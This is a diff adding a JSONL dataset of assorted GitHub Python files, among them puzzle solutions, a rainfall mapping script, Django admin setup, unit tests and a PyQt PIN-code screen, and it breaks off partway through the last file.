diff --git "a/2365.jsonl" "b/2365.jsonl" new file mode 100644--- /dev/null +++ "b/2365.jsonl" @@ -0,0 +1,1308 @@ +{"seq_id":"14842593595","text":"from collections import defaultdict\nimport numpy as np\nfrom pprint import pprint\n\nclass RoadLoader:\n\n def __init__(self, pathToBundledVertices = './DataFiles/output_verticesWiki.txt',\n pathToBundledEdges = './DataFiles/output_edgesWiki.txt',\n pathToOriginalVertices = './DataFiles/Original Vertices.txt',\n pathToOriginalEdges = './DataFiles/OriginalEdges.txt',\n pathToSemanticTree = './DataFiles/output_semanticTreeWiki.txt'):\n\n self.bundledVertices= {}\n with open(pathToBundledVertices) as ptbv:\n for line in ptbv:\n lst = line.split()\n self.bundledVertices[lst[0]] = lst[1:]\n\n self.bundledEdges = defaultdict(list)\n with open(pathToBundledEdges) as pte:\n for line in pte:\n lst = line.split()\n self.bundledEdges[lst[0]].append(lst[1:])\n\n self.originalVertices = {}\n with open(pathToOriginalVertices) as ptov:\n for line in ptov:\n lst = line.split()\n if len(lst) == 1: continue\n self.originalVertices[lst[0]] = lst[1:]\n\n self.inBoundEdges = defaultdict(list)\n self.outBoundEdges = defaultdict(list)\n with open(pathToOriginalEdges) as ptoe:\n for line in ptoe:\n lst = line.split()\n if len(lst) == 1: continue\n self.inBoundEdges[lst[0]].append(lst[1])\n self.outBoundEdges[lst[1]].append(lst[0])\n self.edgesSemanticTree = {}\n\n if pathToSemanticTree:\n with open(pathToSemanticTree) as ptst:\n for line in ptst:\n lst = line.split()\n self.edgesSemanticTree[lst[0]] = lst[1:]\n\n\n\n\n\n def get_vertices_and_edges_at_viewport(self, view_port = [0, 0, 0, 0]):\n vertices = self.originalVertices.keys()\n verticesInViewPort = {}\n other = {}\n for vertex in vertices:\n vertexInfo = self.originalVertices[vertex]\n\n if(self.__verticeIsInViewPort([float(vertexInfo[0]), float(vertexInfo[1])], view_port)):\n verticesInViewPort[vertex] = vertexInfo\n\n return verticesInViewPort, other\n\n\n\n def __verticeIsInViewPort(self, vertexCoor, view_port = [0, 0, 0, 0]):\n xmin = view_port[0]\n xmax = view_port[2]\n ymin = view_port[1]\n ymax = view_port[3]\n\n if xmax > float(vertexCoor[0]) > xmin and ymin < float(vertexCoor[1]) < ymax:\n return True\n else:\n return False\n\n\n\n\n\n\n#cTests = RoadLoader(pathToBundledVertices='./DataFiles/TestFiles/philippines/outputvertices.txt',\n# pathToBundledEdges='./DataFiles/TestFiles/philippines/outputEdges.txt',\n# pathToOriginalVertices='./DataFiles/TestFiles/philippines/philippines_list_vertices.txt',\n# pathToOriginalEdges='./DataFiles/TestFiles/philippines/philippines_list_edges.txt',\n# pathToSemanticTree='./DataFiles/TestFiles/philippines/semantic_edges.txt')\ncTests = RoadLoader()\nov = cTests.originalVertices.keys()\nbv = cTests.bundledVertices.keys()\n\n#oe = cTests.originalEdges.keys()\nbe = cTests.bundledEdges.keys()\n\nst = cTests.edgesSemanticTree.keys()\n\n#print(cTests.originalVertices[ov[11]], cTests.bundledVertices[bv[11]], oe[1], cTests.bundledEdges[be[11]], cTests.edgesSemanticTree[st[11]])\n\nveInViewPort = cTests.get_vertices_and_edges_at_viewport([-20, -20, 20, 20])\n","repo_name":"talha-ahsan/CartoGraphRoadAPI","sub_path":"src/RoadsAPI.py","file_name":"RoadsAPI.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13809386044","text":"# https://adventofcode.com/2021/day/4\n\n\ndef read_input(filename) -> (\n list[int],\n list[{'rows': list[set[int]], 'cols': list[set[int]], 'items': set[int], 'ended': bool}]):\n nums = []\n boards = []\n with open(filename) as file:\n lines = file.readlines()\n for index, line in enumerate(lines):\n if index == 0:\n nums = [int(num) for num in line.rstrip().split(',')]\n elif line == '\\n':\n boards.append({'rows': [], 'cols': [set(), set(), set(), set(), set()], 'items': set(),\n 'ended': False})\n\n else:\n cur_board = boards[-1]\n row = ' '.join(line.split()).rstrip(\"\\n\").split(' ')\n row = [int(num) for num in row]\n cur_board['items'].update(row)\n cur_board['rows'].append(set(row))\n for i, item in enumerate(row):\n cur_board['cols'][i].add(item)\n\n return nums, boards\n\n\ndef solution_part1(filename) -> int:\n nums, boards = read_input(filename)\n\n if len(boards) == 0 or len(nums) == 0:\n return 0\n\n for num in nums:\n for board in boards:\n if num in board['items']:\n for row in board['rows']:\n if num in row:\n row.remove(num)\n board['items'].discard(num)\n if len(row) == 0:\n return num * sum(board['items'])\n for col in board['cols']:\n if num in col:\n col.remove(num)\n board['items'].discard(num)\n if len(col) == 0:\n return num * sum(board['items'])\n return 0\n\n\ndef solution_part2(filename) -> int:\n nums, boards = read_input(filename)\n\n if len(boards) == 0 or len(nums) == 0:\n return 0\n\n win_count = 0\n\n for num in nums:\n for board in boards:\n win_flag = False\n if num in board['items'] and not board['ended']:\n for row in board['rows']:\n if num in row and len(row):\n row.discard(num)\n board['items'].discard(num)\n if len(row) == 0:\n board['ended'] = True\n win_count += 1\n win_flag = True\n if len(boards) == win_count:\n total_sum = sum(board['items'])\n return num * total_sum\n if not win_flag:\n for col in board['cols']:\n if num in col and len(col):\n col.discard(num)\n board['items'].discard(num)\n if len(col) == 0:\n board['ended'] = True\n win_count += 1\n if len(boards) == win_count:\n total_sum = sum(board['items'])\n return num * total_sum\n return 0\n\n\nassert (solution_part1('input/day4.test.txt') == 4512)\nprint('Result Part 1: ', solution_part1('input/day4.txt'))\n\nassert (solution_part2('input/day4.test.txt') == 1924)\nprint('Result Part 2: ', solution_part2('input/day4.txt'))\n","repo_name":"basvasilich/AdventOfCode2021","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41690176248","text":"# According to the Wikipedia's article: \"The Game of Life, also known simply as Life, is a cellular automaton devised by the British mathematician John Horton Conway in 1970.\"\n\n# Given a board with m by n cells, each cell has an initial state live (1) or dead (0). Each cell interacts with its eight neighbors (horizontal, vertical, diagonal) using the following four rules (taken from the above Wikipedia article):\n\n# Any live cell with fewer than two live neighbors dies, as if caused by under-population.\n# Any live cell with two or three live neighbors lives on to the next generation.\n# Any live cell with more than three live neighbors dies, as if by over-population..\n# Any dead cell with exactly three live neighbors becomes a live cell, as if by reproduction.\n# Write a function to compute the next state (after one update) of the board given its current state. The next state is created by applying the above rules simultaneously to every cell in the current state, where births and deaths occur simultaneously.\n\n# Example:\n\n# Input: \n# [\n# [0,1,0],\n# [0,0,1],\n# [1,1,1],\n# [0,0,0]\n# ]\n# Output: \n# [\n# [0,0,0],\n# [1,0,1],\n# [0,1,1],\n# [0,1,0]\n# ]\n# Follow up:\n\n# Could you solve it in-place? Remember that the board needs to be updated at the same time: You cannot update some cells first and then use their updated values to update other cells.\n# In this question, we represent the board using a 2D array. In principle, the board is infinite, which would cause problems when the active area encroaches the border of the array. How would you address these problems?\n\n# 思路\n# 最简单的方法是再建一个矩阵保存,不过当inplace解时,如果我们直接根据每个点周围的存活数量来修改当前值,由于矩阵是顺序遍历的,这样会影响到下一个点的计算。如何在修改值的同时又保证下一个点的计算不会被影响呢?实际上我们只要将值稍作编码就行了,因为题目给出的是一个int矩阵,大有空间可以利用。这里我们假设对于某个点,值的含义为\n\n# 0 : 上一轮是0,这一轮过后还是0\n# 1 : 上一轮是1,这一轮过后还是1\n# 2 : 上一轮是1,这一轮过后变为0\n# 3 : 上一轮是0,这一轮过后变为1\n# 这样,对于一个节点来说,如果它周边的点是1或者2,就说明那个点上一轮是活的。最后,在遍历一遍数组,把我们编码再解回去,即0和2都变回0��1和3都变回1,就行了。\n\n# 注意\n# 注意编码方式,1和3都是这一轮过后为1,这样就可以用一个模2操作来直接解码了\n# 参考 https://segmentfault.com/a/1190000003819277 \n\nclass Solution(object):\n def gameOfLife(self, board):\n \"\"\"\n :type board: List[List[int]]\n :rtype: void Do not return anything, modify board in-place instead.\n \"\"\"\n row, col = len(board), len(board[0])\n for i in range(row):\n for j in range(col):\n cnt = 0 \n\n if i-1 >= 0 and j-1 >= 0 and board[i-1][j-1] in [1,2]:\n cnt += 1\n if i-1 >= 0 and board[i-1][j] in [1,2]:\n cnt += 1\n if i-1 >= 0 and j+1 < col and board[i-1][j+1] in [1,2]:\n cnt += 1\n if j-1 >= 0 and board[i][j-1] in [1,2]:\n cnt += 1\n if j+1 < col and board[i][j+1] in [1,2]:\n cnt += 1\n if i+1 < row and j-1 >= 0 and board[i+1][j-1] in [1,2]:\n cnt += 1\n if i+1 < row and board[i+1][j] in [1,2]:\n cnt += 1\n if i+1 < row and j+1 < col and board[i+1][j+1] in [1,2]:\n cnt += 1\n if board[i][j] == 0 and cnt == 3:\n board[i][j] = 3\n elif board[i][j] == 1:\n if cnt<2 or cnt>3:\n board[i][j] = 2\n for i in range(len(board)):\n for j in range(len(board[0])):\n board[i][j] %= 2\n","repo_name":"cherryzoe/Leetcode","sub_path":"289. Game of Life.py","file_name":"289. Game of Life.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25722578224","text":"import pandas as pd\r\nimport urllib, json #data input from url and reading json\r\nimport matplotlib.pyplot as plt # graph plotting\r\nimport geopandas as gpd\r\nfrom math import pi\r\nfrom Rainfall_Analysis_matplotlib import rain_analysis_mat\r\n\r\ndef bokeh_plot():\r\n #1: Read shape file as geoDataFrame\r\n #Pune admin level data - https://github.com/datameet\r\n fp = 'E:\\Coursera Material\\Python For Everyone\\Birds\\Owl analysis\\Datameet\\Pune_wards-master\\GeoData\\pune-admin-wards.geojson'\r\n #reading the file stored in variable fp\r\n map_df = gpd.read_file(fp)\r\n map_df.plot(color='skyblue', linewidth=0.1, edgecolor='black')\r\n \r\n #2: Read ward to sector data\r\n rain_data = 'E:\\Coursera Material\\Python For Everyone\\Pune Rainfall\\Rainfall Volunteers_2020 daily.xlsx'\r\n rain_data_spreadsheet = pd.read_excel(rain_data, sheet_name=None)\r\n \r\n admin_to_sector = rain_data_spreadsheet['Sector_admin']\r\n \r\n map_df_admin = map_df.merge(admin_to_sector, on='name')\r\n \r\n map_df_sector = map_df_admin[['geometry','Sector']]\r\n map_df_sector = map_df_sector.dissolve(by='Sector')\r\n map_df_sector.reset_index(inplace=True)\r\n \r\n #Reference link - https://www.earthdatascience.org/workshops/gis-open-source-python/dissolve-polygons-in-python-geopandas-shapely/\r\n \r\n #saving file as geojson format\r\n map_df_sector.to_file(\"pune_sectors.geojson\", driver='GeoJSON')\r\n \r\n \r\n #3.1: Calculate centroid of a multipolygon\r\n map_df_sector[\"centroid\"] = map_df_sector[\"geometry\"].centroid\r\n \r\n for index, row in map_df_sector.iterrows():\r\n centroid_coords = row.geometry.centroid.coords.xy\r\n map_df_sector.loc[index, 'cen_x'] = centroid_coords[0][0]\r\n map_df_sector.loc[index, 'cen_y'] = centroid_coords[1][0]\r\n \r\n map_df_sector.drop(['centroid'], axis=1, inplace=True)\r\n \r\n \r\n #Read data to json.\r\n merged_json = json.loads(map_df_sector.to_json())\r\n #Convert to String like object.\r\n json_data = json.dumps(merged_json)\r\n \r\n #json check - merged_json['features'][17]['properties']\r\n #Plot Bokeh graph\r\n from bokeh.io import output_notebook, show, output_file, curdoc\r\n from bokeh.plotting import figure\r\n from bokeh.models import GeoJSONDataSource, ColumnDataSource, LinearColorMapper, ColorBar, Div, Panel\r\n from bokeh.models import (Slider,HoverTool,Select, DatetimeTickFormatter, LabelSet)\r\n from bokeh.palettes import brewer\r\n from bokeh.layouts import widgetbox, row, column\r\n from bokeh.transform import factor_cmap\r\n from bokeh.tile_providers import get_provider, Vendors\r\n from bokeh.palettes import Spectral6\r\n \r\n #Input GeoJSON source that contains features for plotting.\r\n geosource = GeoJSONDataSource(geojson = json_data)\r\n \r\n #Create Pune City map object.\r\n p = figure(title = 'Rainfall collection points in Pune City', plot_height = 600 , plot_width = 600, \r\n toolbar_location = None, match_aspect=True)\r\n p.xgrid.grid_line_color = None\r\n p.ygrid.grid_line_color = None\r\n tile_provider = get_provider(Vendors.OSM)\r\n p.add_tile(tile_provider) #to investigate why tile is not getting rendered\r\n #Add patch renderer to figure. \r\n p.patches('xs','ys', source = geosource, line_color = 'black', line_width = 0.5, fill_alpha = 0)\r\n \r\n #p.add_tools(HoverTool(renderers=[r1], tooltips=[ ('admin name','@name')]))\r\n \r\n labels = LabelSet(x='cen_x', y='cen_y', source = geosource, text='Sector', level='glyph',\r\n x_offset=0, y_offset=0, render_mode='css')\r\n p.add_layout(labels)\r\n \r\n #Plot rain data collection pointson Pune City map object\r\n \r\n rain_data = rain_data_spreadsheet['June_per_day']\r\n rain_data['Date'] = rain_data['Date'].dt.date\r\n rain_data_scope = rain_data[(rain_data['Region']=='PMC') &\r\n (rain_data['Obs Status']=='complete')]\r\n \r\n #Allocate rain_data points to 'Sector'\r\n \r\n rain_data_GeoDataFrame = gpd.GeoDataFrame(rain_data_scope, geometry=gpd.points_from_xy(rain_data_scope.Long,\r\n rain_data_scope.Lat))\r\n rain_data_GeoDataFrame.crs = {'init': 'epsg:4326'}\r\n rain_data_alloc_to_Sector = gpd.sjoin(rain_data_GeoDataFrame, map_df_sector)\r\n \r\n rain_data_total = rain_data_alloc_to_Sector.groupby(['Region','Location','Lat','Long','Obs Status','Sector']).sum()[['Rainfall']].reset_index()\r\n \r\n rain_data_total = rain_data_total.sort_values(by=['Sector','Location'])\r\n rain_data_points = ColumnDataSource(data = {'x': rain_data_total['Long'], \r\n 'y': rain_data_total['Lat'],\r\n 'Obs Status': rain_data_total['Obs Status'],\r\n 'Location':rain_data_total['Location'],\r\n 'Rainfall':rain_data_total['Rainfall']})\r\n STATUS = ['complete','na']\r\n STATUS_colour = ['green','orange']\r\n r2= p.circle('x', 'y', source = rain_data_points, alpha = 0.4, legend_field='Obs Status', \r\n color = factor_cmap('Obs Status', STATUS_colour, STATUS),#'navy',\r\n size = 10)\r\n p.add_tools(HoverTool(renderers=[r2], tooltips=[ ('Location','@Location')]))\r\n \r\n \r\n #Create Bar chart:\r\n '''\r\n Method 1:\r\n b = figure(x_range=rain_data_total['Location'], y_range=(0,200),plot_height=700, title=\"Sector Wise Rainfall\",\r\n toolbar_location=None, tools=\"\")\r\n b.vbar(x=rain_data_total['Location'], top=rain_data_total['Rainfall'], width=0.5)\r\n '''\r\n \r\n #Method 2:\r\n bar_chart_data = ColumnDataSource(data = {'x': rain_data_total['Location'], \r\n 'y': rain_data_total['Rainfall'],\r\n 'Sector': rain_data_total['Sector']})\r\n \r\n sector = rain_data_total['Sector'].unique()\r\n b = figure(x_range=rain_data_total['Location'], y_range=(0,100),plot_height=400, title=\"Sector Wise Rainfall\",\r\n toolbar_location=None)\r\n b.vbar(x='x', top='y', width=0.5, source=bar_chart_data,legend_field='Sector',\r\n color=factor_cmap('Sector',Spectral6,sector))\r\n \r\n b.xgrid.grid_line_color = None\r\n b.xaxis.major_label_orientation = pi/2.5\r\n b.xaxis.major_label_text_align = 'left'\r\n b.y_range.start = 0\r\n \r\n m=row(p)\r\n #show(m)\r\n \r\n #Plot matplotlib line graph\r\n rain_analysis_mat(rain_data_alloc_to_Sector)\r\n \r\n \r\n import folium\r\n from folium import Choropleth, Circle, Marker\r\n from folium.plugins import HeatMap, MarkerCluster\r\n \r\n m_2 = folium.Map(location=[18.5, 73.9], tiles='StamenTerrain', zoom_start=12) #StamenTerrain, StamenToner, StamenWatercolor\r\n \r\n #map_gdf_admin = map_df[['name','geometry']].set_index('name')\r\n map_gdf_sector = map_df_sector[['Sector','geometry']].set_index('Sector')\r\n \r\n #admin_count = map_df.name.value_counts()\r\n sector_count = map_df_sector.Sector.value_counts() \r\n \r\n Choropleth(geo_data = map_gdf_sector.__geo_interface__,\r\n data = sector_count,\r\n key_on=\"feature.id\",\r\n fill_color = 'YlGn',\r\n fill_opacity=0,\r\n line_opacity=0.2,\r\n #legend_name = 'Jo count per state',\r\n smooth_factor=0).add_to(m_2)\r\n \r\n #https://python-visualization.github.io/folium/quickstart.html#Choropleth-maps\r\n folium.GeoJson(map_gdf_sector.__geo_interface__,\r\n name='geojson'\r\n ).add_to(m_2)\r\n \r\n folium_color = {'complete':'green','na':'orange'}\r\n rain_data_total.apply(lambda row:folium.CircleMarker(location=[row[\"Lat\"], row[\"Long\"]], \r\n radius=5,\r\n color=folium_color[row['Obs Status']],\r\n popup=row['Obs Status']).add_to(m_2), axis=1)\r\n # ref link -https://stackoverflow.com/questions/42756934/how-to-plot-lat-and-long-from-pandas-dataframe-on-folium-map-group-by-some-label\r\n \r\n m_2.save('static/pune_Chropleth.html')\r\n folium_html = m_2._repr_html_()\r\n \r\n \r\n \r\n #Plot output path\r\n #C:/Users/dell/AppData/Local/Temp/tmpzm9borp4.html\r\n return(m,folium_html)","repo_name":"mandarsj11/PuneRainfall","sub_path":"Rainfall_Analysis_bokeh_sector_admin.py","file_name":"Rainfall_Analysis_bokeh_sector_admin.py","file_ext":"py","file_size_in_byte":8505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39910289332","text":"from django.contrib import admin\nfrom .models import *\nfrom import_export import resources\nfrom import_export.admin import ImportExportModelAdmin\n# Register your models here.\nclass resourceBarberia (resources.ModelResource):\n class Meta:\n model = barberia\n\nclass adminBarberia(ImportExportModelAdmin, admin.ModelAdmin):\n search_fields = ['nombre']\n list_display = ['nombre', 'direccion', 'telefono']\n resource_class = resourceBarberia\n\nadmin.site.register(barberia, adminBarberia)\n\nclass resourceServicios(resources.ModelResource):\n class Meta:\n model = servicios\n\nclass adminServicios(ImportExportModelAdmin, admin.ModelAdmin):\n search_fields = ['pk_servicios']\n list_display = ['tipo','precio','descuento']\n resource_class = resourceServicios\n\nadmin.site.register(servicios, adminServicios)\n\nclass resourceEmpleados(resources.ModelResource):\n class Meta:\n model = empleados\n\nclass adminEmpleados(ImportExportModelAdmin, admin.ModelAdmin):\n search_fields = ['pk_empleados']\n list_display = ['nombre', 'apellidos', 'telefono','fk_barberia']\n resource_class = resourceEmpleados\n\nadmin.site.register(empleados, adminEmpleados)\n\nclass resourceCliente(resources.ModelResource):\n class Meta:\n model = cliente\n\nclass adminCliente(ImportExportModelAdmin, admin.ModelAdmin):\n search_fields = ['nombre']\n list_display = ['nombre', 'apellidos', 'c_cita','fk_barberia', 'fk_servicios']\n resource_class = resourceCliente\n\nadmin.site.register(cliente, adminCliente)\n\nclass resourceCita(resources.ModelResource):\n class Meta:\n model = cita\n\nclass adminCita(ImportExportModelAdmin, admin.ModelAdmin):\n search_fields = ['fecha']\n list_display = ['fecha','horario','fk_cliente']\n resource_class = resourceCita\n\nadmin.site.register(cita, adminCita)\n\n","repo_name":"MadayDomtt/djangoBarber","sub_path":"apps/catalogo/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12031409031","text":"\"\"\"\nUnit test for Table class\n\"\"\"\nfrom __future__ import annotations\n\nimport pytest\n\nfrom featurebyte.api.dimension_table import DimensionTable\nfrom featurebyte.api.event_table import EventTable\nfrom featurebyte.api.item_table import ItemTable\nfrom featurebyte.api.scd_table import SCDTable\nfrom featurebyte.api.table import Table\nfrom featurebyte.exception import RecordRetrievalException\n\n\ndef test_get_event_table(saved_event_table, snowflake_event_table):\n \"\"\"\n Test Table.get function to retrieve EventTable\n \"\"\"\n # load the event table from the persistent\n loaded_event_table = Table.get(snowflake_event_table.name)\n assert loaded_event_table.saved is True\n assert loaded_event_table == snowflake_event_table\n assert EventTable.get_by_id(id=snowflake_event_table.id) == snowflake_event_table\n\n # load the event table use get_by_id\n loaded_table = Table.get_by_id(snowflake_event_table.id)\n assert loaded_table == loaded_event_table\n\n with pytest.raises(RecordRetrievalException) as exc:\n Table.get(\"unknown_event_table\")\n expected_msg = (\n 'Table (name: \"unknown_event_table\") not found. ' \"Please save the Table object first.\"\n )\n assert expected_msg in str(exc.value)\n\n\ndef test_get_item_table(snowflake_item_table, saved_item_table):\n \"\"\"\n Test Table.get function to retrieve ItemTable\n \"\"\"\n # load the item table from the persistent\n loaded_table = Table.get(saved_item_table.name)\n assert loaded_table.saved is True\n assert loaded_table == snowflake_item_table\n assert ItemTable.get_by_id(id=loaded_table.id) == snowflake_item_table\n\n with pytest.raises(RecordRetrievalException) as exc:\n Table.get(\"unknown_item_table\")\n expected_msg = (\n 'Table (name: \"unknown_item_table\") not found. ' \"Please save the Table object first.\"\n )\n assert expected_msg in str(exc.value)\n\n\ndef test_get_scd_table(saved_scd_table, snowflake_scd_table):\n \"\"\"\n Test Table.get function to retrieve SCDTable\n \"\"\"\n # load the scd table from the persistent\n loaded_scd_table = Table.get(snowflake_scd_table.name)\n assert loaded_scd_table.saved is True\n assert loaded_scd_table == snowflake_scd_table\n assert SCDTable.get_by_id(id=snowflake_scd_table.id) == snowflake_scd_table\n\n with pytest.raises(RecordRetrievalException) as exc:\n Table.get(\"unknown_scd_table\")\n expected_msg = (\n 'Table (name: \"unknown_scd_table\") not found. ' \"Please save the Table object first.\"\n )\n assert expected_msg in str(exc.value)\n\n\ndef test_get_dimension_table(saved_dimension_table, snowflake_dimension_table):\n \"\"\"\n Test Table.get function to retrieve DimensionTable\n \"\"\"\n # load the dimension table from the persistent\n loaded_scd_table = Table.get(snowflake_dimension_table.name)\n assert loaded_scd_table.saved is True\n assert loaded_scd_table == snowflake_dimension_table\n assert DimensionTable.get_by_id(id=snowflake_dimension_table.id) == snowflake_dimension_table\n\n with pytest.raises(RecordRetrievalException) as exc:\n Table.get(\"unknown_dimension_table\")\n expected_msg = (\n 'Table (name: \"unknown_dimension_table\") not found. ' \"Please save the Table object first.\"\n )\n assert expected_msg in str(exc.value)\n","repo_name":"featurebyte/featurebyte","sub_path":"tests/unit/api/test_table.py","file_name":"test_table.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"78"} +{"seq_id":"26955754992","text":"# 347. Top K Frequent Elements\n# Given an integer array nums and an integer k, return the k most frequent elements. You may return the answer in any order.\n\n#Using Heap - It is not complete \n\nimport heapq\nfrom collections import Counter\n\ndef top_k_element(nums,k):\n counts=Counter(nums)\n min_heap = []\n for element, frequency in counts.items():\n heappush(min_heap, (frequency, element))\n if len(min_heap) > k:\n heappop(min_heap)\n return [num for (count ,num) in min_heap]\n\nif __name__ == \"__main__\":\n nums=[1,2,3,4,1,1,1,12,1,1,1,2,4,4,4]\n k=2\n print (\"Current numbers {} and {}\".format(nums,k))\n print (\"Most repeated numbers are {}\".format(top_k_element(nums,k)))","repo_name":"smohapatra1/scripting","sub_path":"python/practice/start_again/2023/07212022/topkelements_using_heap.py","file_name":"topkelements_using_heap.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28516646250","text":"from PyQt5 import uic\r\nfrom PyQt5.QtWidgets import QMainWindow\r\nfrom PyQt5.QtCore import QTimer\r\nfrom main_menu import MainMenu\r\nimport bcrypt\r\n\r\n\r\nclass Menu_Pin_Code(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n self.timer = 0\r\n self.times = 0\r\n self.pin_code_hash = ''\r\n uic.loadUi('Project_pin_code.ui', self)\r\n self.setFixedSize(290, 550)\r\n self.pin_code_to_print = ''\r\n self.attempt_input_pin_code = 0\r\n self.buttons_of_keyboard = [self.pin_code_button_1, self.pin_code_button_2, self.pin_code_button_3,\r\n self.pin_code_button_4, self.pin_code_button_5, self.pin_code_button_6,\r\n self.pin_code_button_7, self.pin_code_button_8, self.pin_code_button_9,\r\n self.pin_code_button_0, self.pin_code_button_clear_last,\r\n self.pin_code_button_clear_all]\r\n self.buttons_of_key_pin_code = [self.pin_code_0, self.pin_code_1, self.pin_code_2, self.pin_code_3]\r\n # self.styleSheet_button = [\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\",\r\n # \"background-color: #000000; border: 1px solid black; border-radius: 22px;\"]\r\n self.pin_code_button_1.clicked.connect(self.add_one)\r\n self.pin_code_button_2.clicked.connect(self.add_two)\r\n self.pin_code_button_3.clicked.connect(self.add_three)\r\n self.pin_code_button_4.clicked.connect(self.add_four)\r\n self.pin_code_button_5.clicked.connect(self.add_five)\r\n self.pin_code_button_6.clicked.connect(self.add_six)\r\n self.pin_code_button_7.clicked.connect(self.add_seven)\r\n self.pin_code_button_8.clicked.connect(self.add_eight)\r\n self.pin_code_button_9.clicked.connect(self.add_nine)\r\n self.pin_code_button_0.clicked.connect(self.add_zero)\r\n self.pin_code_button_clear_last.clicked.connect(self.clear_last)\r\n self.pin_code_button_clear_all.clicked.connect(self.clear_all)\r\n self.color_pin_code_buttons()\r\n for button in self.buttons_of_key_pin_code:\r\n button.setEnabled(False)\r\n\r\n def add_one(self):\r\n self.pin_code_to_print += '1'\r\n self.color_pin_code_buttons()\r\n\r\n def add_two(self):\r\n self.pin_code_to_print += '2'\r\n self.color_pin_code_buttons()\r\n\r\n def add_three(self):\r\n self.pin_code_to_print += '3'\r\n self.color_pin_code_buttons()\r\n\r\n def add_four(self):\r\n self.pin_code_to_print += '4'\r\n self.color_pin_code_buttons()\r\n\r\n def add_five(self):\r\n self.pin_code_to_print += '5'\r\n self.color_pin_code_buttons()\r\n\r\n def add_six(self):\r\n self.pin_code_to_print += '6'\r\n self.color_pin_code_buttons()\r\n\r\n def add_seven(self):\r\n self.pin_code_to_print += '7'\r\n self.color_pin_code_buttons()\r\n\r\n def add_eight(self):\r\n self.pin_code_to_print += '8'\r\n self.color_pin_code_buttons()\r\n\r\n def add_nine(self):\r\n self.pin_code_to_print += '9'\r\n self.color_pin_code_buttons()\r\n\r\n def add_zero(self):\r\n self.pin_code_to_print += '0'\r\n self.color_pin_code_buttons()\r\n\r\n def clear_last(self):\r\n self.pin_code_to_print = self.pin_code_to_print[:-1]\r\n self.color_pin_code_buttons()\r\n\r\n def clear_all(self):\r\n self.pin_code_to_print = ''\r\n self.color_pin_code_buttons()\r\n\r\n def color_pin_code_buttons(self):\r\n if len(self.pin_code_to_print) == 0:\r\n self.pin_code_0.setStyleSheet(f\"background-color: #FFFFFF; border: 1px solid black; \"\r\n f\"border-radius: 22px;\")\r\n self.pin_code_1.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_2.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_3.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n elif len(self.pin_code_to_print) == 1:\r\n self.input_pin_code.resize(230, 40)\r\n self.input_pin_code.setText('ВВЕДИТЕ ПИН-КОД')\r\n self.input_pin_code.setStyleSheet(f\"font-size: 14pt; color: #000000;\")\r\n self.pin_code_0.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_1.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_2.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_3.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n elif len(self.pin_code_to_print) == 2:\r\n self.pin_code_0.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_1.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_2.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_3.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n elif len(self.pin_code_to_print) == 3:\r\n self.pin_code_0.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_1.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_2.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_3.setStyleSheet(\r\n f\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n elif len(self.pin_code_to_print) == 4:\r\n self.pin_code_0.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_1.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_2.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.pin_code_3.setStyleSheet(\r\n f\"background-color: #000000; border: 1px solid black; border-radius: 22px;\")\r\n self.check_the_pin_code()\r\n\r\n def return_to_default(self):\r\n self.pin_code_to_print = ''\r\n for button in self.buttons_of_key_pin_code:\r\n button.setStyleSheet(\"background-color: #FFFFFF; border: 1px solid black; border-radius: 22px;\")\r\n\r\n def many_attempts_pin_code(self):\r\n self.timer = QTimer()\r\n self.timer.timeout.connect(self.update_wrong_pin_message)\r\n self.timer.start(1000)\r\n self.times = 30\r\n\r\n def hide_pin_code(self):\r\n if bcrypt.checkpw(self.pin_code_to_print.encode('utf-8'), self.pin_code_hash):\r\n for button in self.buttons_of_key_pin_code:\r\n button.hide()\r\n else:\r\n self.pin_code_to_print = ''\r\n self.return_to_default()\r\n\r\n def 